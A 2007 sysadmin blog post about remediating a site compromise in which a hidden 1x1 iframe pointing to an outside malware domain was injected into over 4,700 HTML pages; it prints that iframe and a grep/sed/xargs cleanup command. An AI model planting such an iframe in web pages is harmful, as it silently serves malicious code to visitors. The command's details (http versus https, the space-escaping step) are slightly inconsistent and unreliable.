How I used the Unix command line to do a multi-file search and replace to fix over 4,700 individual files Mar 21 2007
Evil hackers attack!
Some customers of mine recently reported some suspicious behavior on one of their sites. I discovered, with dismay, that a number of months ago there was a nasty cPanel exploit that some evil hackers had used to insert a malicious line of code into the bottom of every HTML page on this server. After verifying that the cPanel installation had been fixed, I used
grep to search through all the files on the server to see if any other files had been touched by the hackers. I found over 4,700 individual files that had malicious code added and knew that something needed to be done immediately to address this problem.
Not the best way to start my day…
This is the code that had been added right above the closing
</body> tag in these files:
<iframe src="https://www.constellations.ws/index.php" width=1 height=1 frameborder=0 scrolling=NO></iframe>
By including a reference to an external site (“constellations.ws”) this allowed malicious ActiveX code to be presented to people viewing the infected pages. I had to remove all instances of this bad code immediately to keep anyone else from having problems.
How I fixed 4,700 files with one command
First, I changed directory into my
/home/ directory, which contains all user account files on this server.
# cd /home/
Then I ran this Unix command line search and replace command to find all files that contained the malicous text and replace the bad text with nothing to delete it:
# grep -rl constellations.ws * | sed 's/ /\ /g' | xargs sed -i 's/<iframe src="http:\/\/www.constellations.ws\/index.php" width=1 height=1 frameborder=0 scrolling=NO><\/iframe>//g'
What’s with all the grep, sed and xargs stuff?
The way this works is it first does a search using
grep for all files that contain the bad text – “constellations.ws”. Using the
-l flag tells grep to only print out the filename of the matched files instead of both the filename and the matching line(s). The
-r option tells grep to recursively search every directory and file, not just the files in the current directory.
Next, the output of the initial search is piped to
sed (stream editor) to escape all spaces that may be present in the initial search results (some of the directories had spaces in them and this properly replaces the space with an escape character (the \ backslash) and a space which prepares them for the next step.
The final step is to pipe the escaped results of the
grep command to
xargs which then passes each individual result line in as an argument to the specified
sed command, which in turn looks for the specific bad code and replaces it with nothing (deleting it). Note the backslashes in the code to be replaced — these are used to escape the / characters, which otherwise
sed would interpret as command characters. Using the
-i option for
sed tells it to edit files in-place instead of just sending the output to standard output. This saves each file after the replacement has been made. The
g flag tells
sed to replace every instance of the found text, not just the first instance.
To check to make sure that I fixed every file, I did a final check:
# grep -r constellations.ws *
This confirmed that all of the malicious code had been removed correctly from the HTML files. There were a couple of temporary web stat log files that still had references to “constellations.ws” in them (recorded as link clicks) but there were indeed no more references to the code that I had removed with the command.
You will need to run this as root if you are cleaning out an entire server, otherwise you will only be able to change any files that your username has permission to edit.
Using this for yourself: a Unix multi-file search and replace command template
Here is a generalized multi-file search and replace command template that you can use on your own server:
# grep -rl FIND_STRING * | sed 's/ /\ /g' | xargs sed -i 's/EXACT_FIND_STRING/REPLACE_STRING/g'
Using this code you will search for all files that contain
FIND_STRING, then replace every specific instance of
EXACT_FIND_STRING with the value you supply for
REPLACE_STRING. You must properly escape the text that you are searching for as well as the text you are using to replace what gets found. Note that
FIND_STRING may be the exact same text as
EXACT_FIND_STRING, but this method lets you use
FIND_STRING to search for a smaller part of the thing you’re looking for like I did in the example above.
If you want to preview what the command will do before you commit a save (not a bad idea), simply omit the
-i option from the
sed command that is connected to the
xargs command. This will output to standard output (your terminal) what the final change would be. If it looks right, then run the command as given above (including the
-i) and the files will be saved with the text changes.
I hope this is a helpful explanation of how to search for a particular string using the Unix command line in multiple files and then replace it with something else. Happy searching and replacing!
Disclaimer: I am not responsible for anything you do on your own server. This worked for me, but I was pretty careful to make sure that it was appropriate for my specific case. This command WILL CHANGE FILES on your server. Understand what it is doing before you run it.